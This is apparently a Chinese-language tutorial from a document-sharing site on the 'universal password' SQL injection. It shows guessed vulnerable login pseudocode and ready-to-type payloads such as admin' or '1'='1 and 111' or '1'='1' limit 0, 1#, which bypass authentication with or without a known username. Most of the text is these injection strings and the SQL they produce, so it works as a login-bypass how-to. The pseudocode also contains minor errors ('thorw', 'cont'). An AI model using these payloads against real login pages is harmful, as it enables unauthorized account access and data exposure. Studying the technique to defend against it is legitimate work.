关于万能密码or1=1
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
关于万能密码or1=1
万能条件 ' or 1=1
在⽤户登录界⾯,如果后端判断不严谨,可以通过 or 1=1 的⽅式,结合其他条件满⾜后端的登录的验证许可.
假设登录的验证需要 username 和password 两个参数.情况⼀: 查询结果不为空,或⼤于0
后端代码:
# 查询的SQL
result = SELECT * FROM users WHERE user = '#username' AND password = '#password'
#猜测后台验证的⽅法 (伪java代码)
if(result != null ){
return true;
}else {
thorw new RuntimeException ('登录失败')
}
或者(伪java代码)
if(result.cont >0 ){
return true;
}else {
thorw new RuntimeException ('登录失败')
}
前端填写:
⽤户名随意填写或者空,密码填写 111' or '1'='1
这样讲导致SQL演变为
SELECT * FROM users WHERE user = 'name' AND password = '111' or '1'='1'
判断条件变成了: ⽤户名密码匹配或者 '1' = '1' 所以条件⼀直为真.会查出所有⽤户信息
username 输⼊ admin1' or '1'='1 即可,passwrd 可以填空或随意值即可.
这样讲导致SQL演变为
SELECT * FROM users WHERE user = 'admin1' or '1'='1' AND password = ''
情况⼆: 直接查询数量是否等于 1
情况⼀的⽅法就不能使⽤了,想办法让返回结果为1 即可.
后端代码:
# 查询的SQL
int result = SELECT count(*) FROM users WHERE user = '#username' AND password = '#password'
#猜测后台验证的⽅法 (伪java代码)
if(result == 1 ){
return true;
}else {
thorw new RuntimeException ('登录失败')
}
前端填写 : 如果知道⽤户名
username: admin' or '1'='1
补充: admin是真实⽤户名
password: 随意输⼊密码即可
这样讲导致SQL演变为
SELECT * FROM users WHERE user = 'admin' or '1'='1' AND password = '111'
可以理解为:
SELECT * FROM users WHERE user = 'admin' or( '1'='1' AND password = '111' )
这样会导致只会查询 user 为admin的⽤户,导致查询数量为1
前端填写 : 如果不知道⽤户名
username = 111' or '1'='1' limit 0, 1#
⽤户名: 使⽤or 1=1 达到万能条件,使⽤ limit 0,1 表⽰取第⼀条数据, 使⽤# 表⽰注释掉后⾯的语句password = 111
密码随意输⼊即可
这样讲导致SQL演变为
SELECT * FROM `users` WHERE user = '111' or '1'='1' limit 0, 1# AND password = '111';。